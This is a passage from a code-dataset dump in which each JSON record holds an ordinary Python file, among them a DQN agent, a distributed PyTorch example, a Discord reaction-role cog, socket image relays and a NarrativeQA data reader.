model : this is what we train every step\n self.model = self.create_model(model_path)\n\n # target model : this is what we .predict against every step\n self.target_model = self.create_model(model_path)\n # self.target_model.set_weights(self.model.get_weights())\n\n # how we keep the agent consistent taking step with the model over time -> prediction consistency\n # this will save REPLAY_MEMORY_SIZE steps\n self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE)\n\n self.tensorboard = ModifiedTensorBoard(log_dir=f\"logs/{MODEL_NAME}-{int(time.time())}\")\\\n\n self.target_update_counter = 0\n\n\n def create_model(self, model_path):\n model_pretrained = Model()\n model_pretrained.load_weights(model_path)\n\n x = model_pretrained.layers[-2].output\n\n outputs = Dense(env.ACTION_SPACE_SIZE, activation=\"linear\")\n model = Model(inputs=model_pretrained.input, outputs=outputs)\n \n model.compile(loss=\"mse\", optimizer=Adam(lr=0.001), metrics=['accuracy'])\n\n return model\n\n def update_replay_memory(self, transition):\n #transition is observation space, reward, action space (?)\n self.replay_memory.append(transition)\n\n def get_qs(self, state):\n return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0] # * : unpacking shape\n\n def train(self, terminal_state, step):\n if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE:\n return\n\n minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE)\n\n current_states = np.array([transition[0] for transition in minibatch])/255\n current_qs_list = self.model.predict(current_states)\n\n # after taking action\n new_current_states = np.array([transition[3] for transition in minibatch])/255\n\n future_qs_list = self.target_model.predict(new_current_states)\n\n X = [] # images taken from the game\n y = [] # action that we decide to take\n\n for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch): # this is why new current_states is on index 3\n if not done:\n max_future_q = np.max(future_qs_list[index])\n new_q = reward + DISCOUNT * max_future_q\n else:\n new_q = reward\n\n current_qs = current_qs_list[index]\n current_qs[action] = new_q\n\n X.append(current_state)\n y.append(current_qs)\n\n self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, \\\n shuffle=False, callbacks=[self.tensorboard] if terminal_state else None)\n\n \n #updating to determine if we want to update targer_model yet\n if terminal_state:\n self.target_update_counter += 1\n\n if self.target_update_counter > UPDATE_TARGET_EVERY:\n self.target_model.set_weights(self.model.get_weights())\n self.target_update_counter = 0\n","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"176441963","text":"# app.py\n# ! pip install torch\nfrom lightning.app import LightningWork, LightningApp, CloudCompute\nfrom lightning.app.components import MultiNode\nimport torch\nfrom torch.nn.parallel.distributed import DistributedDataParallel\n\n\ndef distributed_train(local_rank: int, main_address: str, main_port: int, num_nodes: int, node_rank: int, nprocs: int):\n # 1. SET UP DISTRIBUTED ENVIRONMENT\n global_rank = local_rank + node_rank * nprocs\n world_size = num_nodes * nprocs\n\n if torch.distributed.is_available() and not torch.distributed.is_initialized():\n torch.distributed.init_process_group(\n \"nccl\" if torch.cuda.is_available() else \"gloo\",\n rank=global_rank,\n world_size=world_size,\n init_method=f\"tcp://{main_address}:{main_port}\",\n )\n\n # 2. PREPARE DISTRIBUTED MODEL\n model = torch.nn.Linear(32, 2)\n device = torch.device(f\"cuda:{local_rank}\") if torch.cuda.is_available() else torch.device(\"cpu\")\n model = DistributedDataParallel(model, device_ids=[local_rank] if torch.cuda.is_available() else None).to(device)\n\n # 3. SETUP LOSS AND OPTIMIZER\n criterion = torch.nn.MSELoss()\n optimizer = torch.optim.SGD(model.parameters(), lr=0.01)\n\n # 4.TRAIN THE MODEL FOR 50 STEPS\n for step in range(50):\n model.zero_grad()\n x = torch.randn(64, 32).to(device)\n output = model(x)\n loss = criterion(output, torch.ones_like(output))\n print(f\"global_rank: {global_rank} step: {step} loss: {loss}\")\n loss.backward()\n optimizer.step()\n\n # 5. VERIFY ALL COPIES OF THE MODEL HAVE THE SAME WEIGTHS AT END OF TRAINING\n weight = model.module.weight.clone()\n torch.distributed.all_reduce(weight)\n assert torch.equal(model.module.weight, weight / world_size)\n\n print(\"Multi Node Distributed Training Done!\")\n\nclass PyTorchDistributed(LightningWork):\n def run(self, main_address: str, main_port: int, num_nodes: int, node_rank: int):\n nprocs = torch.cuda.device_count() if torch.cuda.is_available() else 1\n torch.multiprocessing.spawn(\n distributed_train,\n args=(main_address, main_port, num_nodes, node_rank, nprocs),\n nprocs=nprocs\n )\n\n# 32 GPUs: (8 nodes x 4 v 100)\ncompute = CloudCompute(\"gpu-fast-multi\") # 4xV100\ncomponent = MultiNode(PyTorchDistributed, num_nodes=8, cloud_compute=compute)\napp = LightningApp(component)\n","sub_path":"docs/source-app/levels/basic/hello_components/pt_multinode.py","file_name":"pt_multinode.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"61586673","text":"# coding:utf-8\n\nfrom app import create_app, db\nfrom data.data import init\nfrom flask_script import Manager\n\napp = create_app('product')\nmanager = Manager(app)\n\n# 定义执行manager.py脚本的参数\n@manager.command\ndef reset():\n init()\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"318024876","text":"# -*- coding:utf-8 -*-\n# @author: Weixuan.Ding\n# @time : 2018/10/15 18:40\n# @E-mail:weixuanfeser@gmail.com\n# @Software: PyCharm\n\"\"\"\ncode is far away from bugs with the god animal protecting\nI love animals. They taste delicious.\n┏┓ ┏┓\n┏┛┻━━━┛┻┓\n┃ ☃ ┃\n┃ ┳┛ ┗┳ ┃\n┃ ┻ ┃\n┗━┓ ┏━┛\n┃ ┗━━━┓\n┃ 神兽保佑 ┣┓\n┃ 永无BUG! ┏┛\n┗┓┓┏━┳┓┏┛\n┃┫┫ ┃┫┫\n┗┻┛ ┗┻┛\n \"\"\"\nimport socket\n\nsk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nip_port = ('127.0.0.1',8888)\nsk.bind(ip_port)\n\nwhile True:\n data = sk.recv(1024)\n print(data.decode())\n\n","sub_path":"test_10_py/socket_server_udp.py","file_name":"socket_server_udp.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"417703715","text":"## Correlation Matrix / Cluster Test TRN.csv \n\n##\nimport numpy as np\nimport scipy as sp\nimport pylab as pl\n\nimport scipy.cluster.hierarchy as spClust\n\nimport csv\nimport os\n##\n\n## Options ####################################################################\noptCmap = pl.cm.coolwarm\noptThresh = 0.3\n\ndirPath = '/home/jdv/Dropbox/data/trn/'\ndirSubs = 's1'\ndirExps = 'flicker_120_wh'\ndirData = 'corrMat_cortex.csv'\ndirMask = []\n###############################################################################\n# import data #\ninFile = os.path.join(dirPath, dirSubs, dirExps, dirData)\ndata = np.genfromtxt(inFile, delimiter=\",\")\n\n# correlation matrix #\ncMat = sp.corrcoef(data)\n\n# threshold matrix #\nfor count, row in enumerate(cMat):\n\trow[np.intersect1d(np.where(0 epsylon:\n currError = parentsTable[0][6]\n\n reproductionTable = reproduction(parentsTable)\n mutatedTable = mutation(reproductionTable)\n mergeTable = mutatedTable + parentsTable\n mergeTable.sort(key = lambda mergeTable: mergeTable[6])\n parentsTable = mergeTable[:u]\n\n errDiff = np.absolute(currError - parentsTable[0][6])\n\n while errDiff == 0:\n currError = parentsTable[0][6]\n\n reproductionTable = reproduction(parentsTable)\n mutatedTable = mutation(reproductionTable)\n mergeTable = mutatedTable + parentsTable\n mergeTable.sort(key = lambda mergeTable: mergeTable[6])\n parentsTable = mergeTable[:u]\n errDiff = np.absolute(currError - parentsTable[0][6])\n counter += 1\n trapCounter += 1\n \n errorTable.append(parentsTable[0][6])\n counter += 1\n predictedOut = []\n\n for i in range(len(data)):\n x = y(parentsTable[0][0], parentsTable[0][1], parentsTable[0][2], inp[i])\n predictedOut.append(x)\n\n # plt.plot(inp, predictedOut, label = \"predicted function\", ls = \"--\")\n # plt.pause(0.05)\n\nduration = time.time() - startTime\n\nprint(\"A = {}, B = {}, C = {}, Error = {}, \\nIterations = {}, Time = {}s, Traps = {}\".format(\n parentsTable[0][0], parentsTable[0][1], parentsTable[0][3], parentsTable[0][6], counter, duration, trapCounter))\n\n# counterTable = np.arange(counter - trapCounter)\n# plt.plot(counterTable, errorTable)\n\nplt.show()\n\n","sub_path":"Evolution-Strategies/Evolution-Strategies.py","file_name":"Evolution-Strategies.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"335197134","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/jaebradley/.virtualenvs/basketball_reference_web_scraper/lib/python3.7/site-packages/tests/integration/test_player_box_scores.py\n# Compiled at: 2020-03-05 11:58:35\n# Size of source mod 2**32: 2105 bytes\nfrom unittest import TestCase, mock\nimport os\nfrom requests import HTTPError, codes\nfrom basketball_reference_web_scraper.client import player_box_scores\nfrom basketball_reference_web_scraper.data import OutputType, OutputWriteOption\nfrom basketball_reference_web_scraper.errors import InvalidDate\n\nclass TestPlayerBoxScores(TestCase):\n\n def test_get_box_scores(self):\n result = player_box_scores(day=1, month=1, year=2018)\n self.assertIsNotNone(result)\n\n def test_get_box_scores_for_day_that_does_not_exist(self):\n self.assertRaisesRegex(InvalidDate,\n 'Date with year set to 2018, month set to 1, and day set to -1 is invalid',\n player_box_scores,\n day=(-1),\n month=1,\n year=2018)\n\n def test_get_box_scores_from_2001(self):\n output_file_path = os.path.join(os.path.dirname(__file__), './output/2003_10_29_TOR_pbp.csv')\n player_box_scores(day=1,\n month=1,\n year=2001,\n output_type=(OutputType.CSV),\n output_file_path=output_file_path,\n output_write_option=(OutputWriteOption.WRITE))\n\n def test_raises_invalid_date_for_nonexistent_dates(self):\n self.assertRaisesRegex(InvalidDate,\n 'Date with year set to baz, month set to bar, and day set to foo is invalid',\n player_box_scores,\n day='foo',\n month='bar',\n year='baz')\n\n @mock.patch('basketball_reference_web_scraper.client.http_client')\n def test_raises_invalid_date_for_404_response(self, mocked_http_client):\n mocked_http_client.player_box_scores.side_effect = HTTPError(response=mock.Mock(status_code=(codes.not_found)))\n self.assertRaises(InvalidDate, player_box_scores, day=1, month=1, year=2018)\n\n @mock.patch('basketball_reference_web_scraper.client.http_client')\n def test_raises_non_404_http_error(self, mocked_http_client):\n mocked_http_client.player_box_scores.side_effect = HTTPError(response=mock.Mock(status_code=(codes.server_error)))\n self.assertRaises(HTTPError, player_box_scores, day=1, month=1, year=2018)","sub_path":"pycfiles/basketball_reference_web_scraper-4.9.0.macosx-10.15-x86_64.tar/test_player_box_scores.cpython-37.py","file_name":"test_player_box_scores.cpython-37.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541837945","text":"# 363. 矩形区域不超过 K 的最大数值和\n# https://leetcode-cn.com/problems/max-sum-of-rectangle-no-larger-than-k/\nclass Solution:\n def maxSumSubmatrix(self, matrix: List[List[int]], k: int) -> int:\n \n def dpmax(nums, k):\n res = -1*float('inf')\n pre = nums[0]\n for i in range(len(nums)):\n sum_ = 0\n for j in range(i, len(nums)):\n sum_+=nums[j]\n if sum_ > res and sum_ <=k:\n res = sum_\n return res\n\n \n row = len(matrix)\n col = len(matrix[0])\n maxres = -1*float('inf')\n for left in range(col):\n rowsum = [0]*row\n for right in range(left, col):\n for i in range(row):\n rowsum[i] += matrix[i][right]\n this_max = dpmax(rowsum, k)\n maxres = max(maxres, this_max)\n \n return maxres","sub_path":"Week_06/max_square.py","file_name":"max_square.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"564509195","text":"import discord, platform, asyncio, os, time\nfrom discord.ext import commands\nfrom pathlib import Path\nimport utils.json\n\ncwd = Path(__file__).parents[1]\ncwd = str(cwd)\n\nclass Reactions(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(\"+ Reactions Cog loaded\")\n\n @commands.command(aliases=['reactionrole', 'reactrole'])\n @commands.has_any_role(\"Developer\")\n async def rrs(self, ctx, messageid, emoji, role: discord.Role):\n message = await ctx.channel.fetch_message(messageid)\n\n if not message:\n await ctx.message.delete()\n return await ctx.send(\"RRs: Couldn't find message.\", delete_after=3)\n\n data = utils.json.read_json(\"reactions\")\n\n try:\n for i in range(len(data[str(messageid)])):\n broken = data[str(messageid)][i].split(';')\n if emoji == broken[0]:\n await ctx.message.delete()\n return await ctx.send(f\"This emoji ({emoji}) is already being used in this message.\", delete_after=3)\n elif str(role.id) == broken[1]:\n await ctx.message.delete()\n return await ctx.send(f\"This role ({role.name}) is already being used in this message.\", delete_after=3)\n except KeyError:\n pass\n\n try:\n await ctx.message.add_reaction(emoji)\n await ctx.message.delete()\n except discord.HTTPException:\n await ctx.message.delete()\n return await ctx.send(\"RRs: Invalid emoji used.\", delete_after=3)\n\n await message.add_reaction(emoji)\n input = f\"{emoji};{role.id}\"\n data.setdefault(str(messageid), []).append(input)\n utils.json.write_json(data, \"reactions\")\n\n @rrs.error\n async def rrs_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n return await ctx.send(\"Usage: `-rrs (message id) (emoji) (role)`\")\n elif isinstance(error, commands.BadArgument):\n return await ctx.send(\"RRs: Couldn't find role.\")\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if payload.user_id == self.bot.user.id:\n return\n\n data = utils.json.read_json(\"reactions\")\n\n guild = discord.utils.find(lambda g : g.id == payload.guild_id, self.bot.guilds)\n channel = self.bot.get_channel(payload.channel_id)\n user = guild.get_member(payload.user_id)\n message = await channel.fetch_message(payload.message_id)\n\n if str(message.id) not in data.keys():\n return\n\n for i in range(len(data[str(message.id)])):\n broken = data[str(message.id)][i].split(';')\n role = guild.get_role(int(broken[1]))\n if str(payload.emoji) == broken[0]:\n try:\n await user.add_roles(role)\n except discord.Forbidden:\n await channel.send(f\"No permissions to give {role.name} to {user.name}.\")\n await message.remove_reaction(payload.emoji, user)\n\n for reaction in message.reactions:\n if not reaction.me:\n await message.remove_reaction(reaction, user)\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload):\n if payload.user_id == self.bot.user.id:\n return\n\n data = utils.json.read_json(\"reactions\")\n\n guild = discord.utils.find(lambda g : g.id == payload.guild_id, self.bot.guilds)\n channel = self.bot.get_channel(payload.channel_id)\n user = guild.get_member(payload.user_id)\n message = await channel.fetch_message(payload.message_id)\n\n if str(message.id) not in data.keys():\n return\n\n for i in range(len(data[str(message.id)])):\n broken = data[str(message.id)][i].split(';')\n role = guild.get_role(int(broken[1]))\n if str(payload.emoji) == broken[0]:\n await user.remove_roles(role)\n\n utils.json.write_json(data, \"reactions\")\n\n @commands.command(aliases=['removerrs'])\n async def delrrs(self, ctx, messageid):\n data = utils.json.read_json(\"reactions\")\n if messageid not in data.keys():\n return await ctx.send(\"This message doesn't have reaction roles set.\")\n del data[messageid]\n await ctx.send(\"Removed reaction roles for that message.\")\n utils.json.write_json(data, \"reactions\")\n\n @delrrs.error\n async def delrrs_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n return await ctx.send(\"Usage: `-delrrs (message id)`\")\n\n @commands.Cog.listener()\n async def on_messge_delete(self, message):\n data = utils.json.read_json(\"reactions\")\n if message.id in data.keys():\n del data[message.id]\n print(\"Message deleted with reaction roles set. Deleting...\")\n utils.json.write_json(data, \"reactions\")\n\n @commands.command(aliases=['inforrs'])\n async def irrs(self, ctx, messageid):\n data = utils.json.read_json(\"reactions\")\n message = \"\\n\"\n reactions = []\n\n if messageid not in data.keys():\n return await ctx.send(\"This message doesn't have reaction roles set.\")\n\n for i in range(len(data[messageid])):\n broken = data[messageid][i].split(';')\n emoji = broken[0]\n role = ctx.guild.get_role(int(broken[1]))\n if not role:\n return await ctx.send(f\"Ermmm we have a problem. I couldn't fine the role with the id {broken[1]}. You should probably ping my owner.\")\n appendme = f\"**Emoji:** {emoji} // **Role**: {role.name}\"\n reactions.append(appendme)\n\n await ctx.send(message.join(reactions))\n\n @irrs.error\n async def irrs_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n return await ctx.send(\"Usage: `-irrs (message id)`\")\n\n\n\ndef setup(bot):\n bot.add_cog(Reactions(bot))\n","sub_path":"cogs/reactions.py","file_name":"reactions.py","file_ext":"py","file_size_in_byte":6116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"226515932","text":"__author__ = 'alexthomas'\n\nfrom world import Block\n\n__defaultX = 100\n__defaultY = 100\n\n\nclass World():\n def __init__(self):\n self.rows = []\n self.entities=[]\n for x in range(100):\n row = []\n self.rows.append(row)\n for y in range(100):\n b = Block(x,y)\n row.append(b)\n\n def add_entity(self,e,x=0,y=0):\n if not e in self.entities:\n self.entities.append(e)\n self.rows[x][y].add_entity(e)\n\n def move_entity(self,e,x=0,y=0):\n if e in self.entities:\n self.rows[e.x][e.y].remove_entity(e)\n e.x=x\n e.y=y\n self.rows[x][y].add_entity(e)\n","sub_path":"world/World.py","file_name":"World.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"298023789","text":"import unittest\nfrom src.sample.Rectangle import *\n\nclass RectangleParameterizedFile(unittest.TestCase):\n\n def test_from_file(self):\n fileTest = open(\"data/rectangle_data_test\")\n tmpRectangle = Rectangle()\n for line in fileTest:\n if line.startswith(\"#\") or line.startswith(\" \") or line.startswith(\"\\n\"):\n continue\n else:\n data = line.split(\" \")\n inp, second, result = int(data[0]),int(data[1]), int(data[2].strip(\"\\n\"))\n self.assertEqual(tmpRectangle.surface(inp, second), result)\n fileTest.close()\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"zad1/tests/rectanglefiletest.py","file_name":"rectanglefiletest.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523629703","text":"import numpy\nimport socket\nimport cv2\nimport os\n\n\n# ------------------------------------------------------------#\n# recive image`\ndef recvall(sock, count):\n buf = b''\n while count:\n newbuf = sock.recv(count)\n if not newbuf: return None\n buf += newbuf\n count -= len(newbuf)\n return buf\n# ------------------------------------------------------------#\n# send image\ndef sendframe(frame,client2):\n encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]\n result, imgencode = cv2.imencode('.jpeg', frame, encode_param)\n data = numpy.array(imgencode)\n stringData = data.tostring()\n client2.send(str(len(stringData)).ljust(16))\n client2.send(stringData)\n# ------------------------------------------------------------#\ndef NextRecv(client2, count):\n while True:\n msg = str(client2.recv(count))\n if msg == str(\"NEXT\"):\n break\n else:\n pass\n\n\n# ------------------------------------------------------------#\ndef getImage(client):\n length = recvall(client, 16)\n stringData = recvall(client, int(length))\n data = numpy.fromstring(stringData, dtype='uint8')\n decimg = cv2.imdecode(data, 1)\n return decimg\n\n# ------------------------------------------------------------#\n# construct connect\nTCP_IP = '192.168.43.65'\nTCP_PORT = 8888\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.bind((TCP_IP, TCP_PORT))\nsock.listen(True)\n\nclient, addr = sock.accept()\nprint('client ', addr)\nclient2, addr = sock.accept()\nprint('client2 ', addr)\nos.chdir(\"D:\\Smart Glasses\\serverimage\")\n\nNextRecv(client2,8)\nclient.send(\"NEXT\")\nprint(\"start\")\nwhile True:\n frame = getImage(client)\n #cv2.imshow(\"result\", frame)\n cv2.imwrite(\"result.jpg\", frame)\n cv2.waitKey(1000)\n client2.send('NEXT\\n')\n print(\"***\")\n NextRecv(client2,8)\n print(\"ok\")\n client.send(\"NEXT\")\n\n\n\n\n\n\n\n\n\n","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"602202257","text":"\"\"\"\nA peak element is an element that is strictly greater than its neighbors.\nGiven an integer array nums, find a peak element, and return its index. If the array contains multiple peaks, return the index to any of the peaks.\nYou may imagine that nums[-1] = nums[n] = -∞.\nYou must write an algorithm that runs in O(log n) time.\n\nExample 1:\nInput: nums = [1,2,3,1]\nOutput: 2\nExplanation: 3 is a peak element and your function should return the index number 2.\n\"\"\"\n# Iterative Binary search\nclass Solution:\n def findPeakElement(self, nums: List[int]) -> int:\n l,r = 0, len(nums)-1\n while(l 1:\n context_chunks_parse.append(get_new_parse_token(STORY_START_TOKEN))\n\n split_meta = text_search_chunk_splits[chunk_meta[0]]\n chunk_parse = chunks_parsed[split_meta[\"chunk_id\"]][\"parse\"]\n tokens_span = split_meta[\"tokens_span\"]\n\n chunk_parse_tokens = get_range_from_parse(chunk_parse, tokens_span,\n fields_to_crop_with_span, fields_to_take_full)\n\n context_chunks_parse.append(chunk_parse_tokens)\n context_chunks_parse.append(get_new_parse_token(STORY_SKIP_TOKEN))\n\n combined_chunk_parses = combine_sentences_parse(context_chunks_parse)\n\n return combined_chunk_parses\n\nTARGET_HANDLE_ALL = \"all\"\nTARGET_HANDLE_RANDOM = \"random\"\nTARGET_HANDLE_ANSWER1 = \"answer1\"\nTARGET_HANDLE_ANSWER2 = \"answer2\"\n\nTARGET_HANDLE_LIST = [TARGET_HANDLE_ALL, TARGET_HANDLE_RANDOM, TARGET_HANDLE_ANSWER1, TARGET_HANDLE_ANSWER2]\n\n\n@DatasetReader.register(\"narrativeqa_summary_context_and_questions_parse_span_reader\")\nclass NarrativeQASummaryContextAndQuestionsParseSpanReader(DatasetReader):\n \"\"\"\n Read a tsv file containing paired sequences, and create a dataset suitable for a\n ``SimpleSeq2Seq`` model, or any model with a matching API.\n Expected format for each input line: \\t\n The output of ``read`` is a list of ``Instance`` s with the fields:\n source_tokens: ``TextField`` and\n target_tokens: ``TextField``\n `START_SYMBOL` and `END_SYMBOL` tokens are added to the source and target sequences.\n Parameters\n ----------\n source_tokenizer : ``Tokenizer``, optional\n Tokenizer to use to split the input sequences into words or other kinds of tokens. Defaults\n to ``WordTokenizer()``.\n target_tokenizer : ``Tokenizer``, optional\n Tokenizer to use to split the output sequences (during training) into words or other kinds\n of tokens. Defaults to ``source_tokenizer``.\n source_token_indexers : ``Dict[str, TokenIndexer]``, optional\n Indexers used to define input (source side) token representations. Defaults to\n ``{\"tokens\": SingleIdTokenIndexer()}``.\n target_token_indexers : ``Dict[str, TokenIndexer]``, optional\n Indexers used to define output (target side) token representations. Defaults to\n ``source_token_indexers``.\n source_add_start_token : bool, (optional, default=True)\n Whether or not to add `START_SYMBOL` to the beginning of the source sequence.\n \"\"\"\n\n def __init__(self,\n dataset_dir: str,\n dataset_processed_data_dir: str,\n processed_questions_file: str,\n question_to_context_ranking_file: str,\n top_retrieved_chunks: int,\n source_context_type: str = \"ranked_chunks\", # \"summary\"\n processed_summaries_file: str = None,\n doc_ids: List[str] = None,\n context_tokenizer: Tokenizer = None,\n question_tokenizer: Tokenizer = None,\n target_tokenizer: Tokenizer = None,\n context_token_indexers: Dict[str, TokenIndexer] = None,\n question_token_indexers: Dict[str, TokenIndexer] = None,\n target_token_indexers: Dict[str, TokenIndexer] = None,\n source_add_start_token: bool = True,\n return_context_tokens_pointers: bool = False,\n handle_multiple_target_in_train: str = \"all\",\n lazy: bool = False) -> None:\n super().__init__(lazy)\n\n if source_context_type not in [\"summary\", \"ranked_chunks\"]:\n raise Exception(\"`source_context_type` should be either `summary` or `ranked_chunks`\")\n self._source_context_type = source_context_type\n\n if source_context_type == \"summary\" and processed_summaries_file is None:\n raise Exception(\"When `source_context_type` is 'summary', `processed_summaries_file` should be specified\")\n self._processed_summaries_file = processed_summaries_file\n\n if handle_multiple_target_in_train not in TARGET_HANDLE_LIST:\n raise ValueError(\"handle_multiple_target_in_train value should be `all` or `random`\")\n\n self._handle_multiple_target_in_train = handle_multiple_target_in_train\n\n self._dataset_dir = dataset_dir\n self._dataset_processed_data_dir = dataset_processed_data_dir\n self._processed_questions_file = processed_questions_file\n self._question_to_context_ranking_file = question_to_context_ranking_file\n self._top_retrieved_chunks = top_retrieved_chunks\n\n self._doc_ids_to_use = None if doc_ids is None or len(doc_ids) == 0 else doc_ids\n\n self._context_tokenizer = context_tokenizer or WordTokenizer()\n self._question_tokenizer = question_tokenizer or WordTokenizer()\n self._target_tokenizer = target_tokenizer or self._context_tokenizer\n self._context_token_indexers = context_token_indexers or {\"tokens\": SingleIdTokenIndexer()}\n self._question_token_indexers = question_token_indexers or {\"tokens\": SingleIdTokenIndexer()}\n self._target_token_indexers = target_token_indexers or self._context_token_indexers\n self._source_add_start_token = source_add_start_token\n self._return_context_tokens_pointers = return_context_tokens_pointers\n\n\n @overrides\n def _read(self, file_path):\n # \"dataset_dir\": \"/Users/mihaylov/research/document-parsing-pipeline/test/fixtures/data/narrativeqa\",\n # \"dataset_processed_data_dir\": \"/Users/mihaylov/research/document-parsing-pipeline/test/fixtures/data/narrativeqa/processed_data\",\n # \"processed_questions_file\": \"/Users/mihaylov/research/document-parsing-pipeline/test/fixtures/data/narrativeqa/processed_data/qaps_all.csv.parsed.jsonl.srl.jsonl\",\n # \"question_to_context_ranking_file\": \"/Users/mihaylov/research/document-parsing-pipeline/test/fixtures/data/narrativeqa/processed_data/ranked_q2p_chunk200_ngram12_lemmas-5docs.jsonl\",\n\n # In this method file_path is actually expected to by the name of the set train/val/test\n allowed_values = [\"train\", \"valid\", \"test\"]\n\n set_value_delim = \",\" if \",\" in file_path else \";\"\n sets_to_load = [xx for xx in [x.strip() for x in file_path.split(set_value_delim)] if len(xx) > 0]\n\n # validate that the sets are allowed\n for set_name in sets_to_load:\n if set_name not in allowed_values:\n error_msg = \"file_path must be a string with comma separated`train` or `valid` or `test` but it is {0} instead!\".format(file_path)\n logging.error(error_msg)\n raise ValueError(error_msg)\n\n # doc_ids\n doc_ids_to_read = self._doc_ids_to_use\n\n # load documents and questions\n reader = NarrativeQaReader(self._dataset_dir)\n documents_meta_list = reader.load_documents_meta_from_csv(doc_ids=doc_ids_to_read, set_names=sets_to_load)\n if self._processed_questions_file is not None:\n questions_list = reader.load_json_list(self._processed_questions_file,\n doc_ids=doc_ids_to_read, set_names=sets_to_load)\n else:\n questions_list = reader.load_questions_from_csv(doc_ids=doc_ids_to_read, set_names=sets_to_load)\n #summaries_list = reader.load_summaries_from_csv(doc_ids=doc_ids_to_read, set_names=sets_to_load)\n #story_content_file_format = reader.story_content_file_format\n\n # doc_ids_to_read_list=[]\n if doc_ids_to_read is None or len(doc_ids_to_read) == 0:\n doc_ids_to_read = [x[\"document_id\"] for x in documents_meta_list]\n\n # debug info\n logger.info(\"{0} documents\".format(len(documents_meta_list)))\n logger.info(\"{0} questions\".format(len(questions_list)))\n #logger.info(\"{0} summaries\".format(len(summaries_list)))\n\n class DocumentWithChunksItem(object):\n\n def __init__(self, doc_id,\n doc_with_ranking,\n top_retrieved_chunks,\n dataset_processed_data_dir):\n self.doc_id = doc_id\n self.data = doc_with_ranking\n self._top_retrieved_chunks = top_retrieved_chunks\n self._chunks_file = \"{0}/{1}.content.parsed.chunks.jsonl\".format(dataset_processed_data_dir, doc_id)\n self._chunks_parsed = None\n\n def get_context_parse(self,\n q_id,\n fields_to_take_full,\n fields_to_crop_with_span\n ):\n question_with_ranking = self.get_question_item(q_id)\n text_search_chunk_splits = self.data[\"text_search_chunks\"]\n\n if self._chunks_parsed is None:\n error_chunks_parsed = \"\"\n try:\n chunks_parsed = load_json_list(self._chunks_file)\n self._chunks_parsed = chunks_parsed\n except Exception as e:\n chunks_parsed = []\n error_chunks_parsed = str(e)\n logging.exception(e)\n raise e\n\n return get_retrieved_chunks_parse_and_concat(question_with_ranking,\n text_search_chunk_splits,\n self._chunks_parsed,\n self._top_retrieved_chunks,\n fields_to_take_full,\n fields_to_crop_with_span)\n\n def get_question_item(self, q_id):\n return self.data[\"questions_with_ranks\"][q_id]\n\n class DocumentsWithParsedChunksIterator(object):\n def __init__(self,\n question_to_context_ranking_file,\n doc_ids,\n set_names,\n top_retrieved_chunks,\n dataset_processed_data_dir):\n self._question_to_context_ranking_file = question_to_context_ranking_file\n self._doc_ids_to_read = doc_ids\n self._sets_to_load = set_names\n self._top_retrieved_chunks = top_retrieved_chunks\n self._dataset_processed_data_dir = dataset_processed_data_dir\n\n def __iter__(self):\n for doc_with_ranking in reader.load_json_list(self._question_to_context_ranking_file,\n doc_ids=self._doc_ids_to_read, set_names=self._sets_to_load):\n item = DocumentWithChunksItem(doc_id=doc_with_ranking[\"document_id\"],\n doc_with_ranking=doc_with_ranking,\n top_retrieved_chunks=self._top_retrieved_chunks,\n dataset_processed_data_dir=self._dataset_processed_data_dir)\n\n yield item\n\n class DocumentSummaryItem(object):\n\n def __init__(self, doc_id,\n data):\n self.doc_id = doc_id\n self.data = data\n\n def get_context_parse(self,\n q_id,\n fields_to_take_full,\n fields_to_crop_with_span\n ):\n context_sequence = combine_sentences_parse(self.data[\"summary_parse\"][\"sentences\"])\n\n return context_sequence\n\n def get_question_item(self, q_id):\n return None\n\n class DocumentsSummariesIterator(object):\n def __init__(self,\n parsed_summaries_file,\n doc_ids,\n set_names):\n self._parsed_summaries_file = parsed_summaries_file\n 